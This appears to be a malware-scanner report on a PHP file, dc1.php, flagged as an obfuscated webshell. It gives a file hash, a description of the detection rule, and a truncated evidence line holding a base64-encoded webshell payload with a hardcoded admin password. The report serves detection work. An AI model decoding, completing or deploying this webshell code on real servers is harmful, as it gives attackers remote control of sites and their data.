dc1.php
PHP webshell with obfuscation
Detects hex encoded code that has been base64 encodedphp webshell containing base64 encoded payload
SHA-2560c0c11bd22b0181a293df915c40f24b7ca09bf868af0454bc2308135c7973f30
Evidence
1<?php print(base64_decode("PD9waHANCmVycm9yX3JlcG9ydGluZyg3KTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpvYl9zdGFydCgpOw0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKS4nLycpOw0KLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7DQpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7DQpkZWZpbmUoJ0lTX0NPTScsIGNsYXNzX2V4aXN0cygnQ09NJykgPyAxIDogMCApOw0KZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KZGVmaW5lKCdJU19QSFBJTkZPJywgKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAxIDogMCApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KDQpmb3JlYWNoKGFycmF5KCdfR0VUJywnX1BPU1QnKSBhcyAkX3JlcXVlc3QpIHsNCglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgew0KCQlpZiAoJF9rZXl7MH0gIT0gJ18nKSB7DQoJCQlpZiAoSVNfR1BDKSB7DQoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7DQoJCQl9DQoJCQkkJF9rZXkgPSAkX3ZhbHVlOw0KCQl9DQoJfQ0KfQ0KDQovKj09PT09PT09PT09PT09PT09PT09PSB8fC0mIzEwMjg7KyYjMTA5MjsrfCA9PT09PT09PT09PT09PT09PT09PT0qLw0KJGFkbWluID0gYXJyYXkoKTsNCi8vIC18KyYjMTEwNTstJiMxMDk2Oy0mIzEwODI7fCMtJiMxMDk5Oy0mIzEwOTc7KyYjMTA3NjssIHRydWUgKyYjMTA4MjstJiMxMDk2Oy0mIzEwODI7LSYjMTA5NzsrJiMxMDc2OywgZmFsc2UgKyYjMTA4MjsrIysrKyArJiMxMDk5Oy4tLXwmIzEwOTQ7LSYjMTA3MzstJiMxMTAyOysmIzEwMjg7K3wtJiMxMDc5Ow0KJGFkbWluWydjaGVjayddID0gMDsNCi8vICsmIzEwOTU7fCAtJiMxMDk2Oy0mIzEwODI7fCMtJiMxMDk5Oy0mIzEwOTc7KyYjMTA3NjssfCYjMTA5OTstfCstfHwtK3wjLSYjMTA5OTsNCiRhZG1pblsncGFzcyddICA9ICdhbmdlbCc7DQoNCi8vKyYjMTA5NTstIHwrIGNvb2tpZSArJiMxMTE4Oyt8K3wrJiMxMDc5OystfCstJiMxMDkwOy0mIzEwODI7fCYjMTEwODssICsmIzEwMjg7fHwtKyMrKyB8JiMxMDc1OywgfCYjMTA5OTstfCstLS18JiMxMDk0OyMmIzEwOTI7LSssICsmIzExMDU7KyYjMTAyODt8JiMxMDk5OyMmIzEwNzU7fCstJiMxMDg0OystDQovLyBjb29raWUgfCMrfA0KJGFkbWluWydjb29raWVwcmUnXSA9ICcnOw0KLy8gY29va2llICsmIzExMTg7K3wrJiMxMDI4Ow0KJGFkbWluWydjb29raWVkb21haW4nXSA9ICcnOw0KLy8gY29va2llICsmIzExMTg7K3wtKyt8DQokYWRtaW5bJ2Nvb2tpZXBhdGgnX …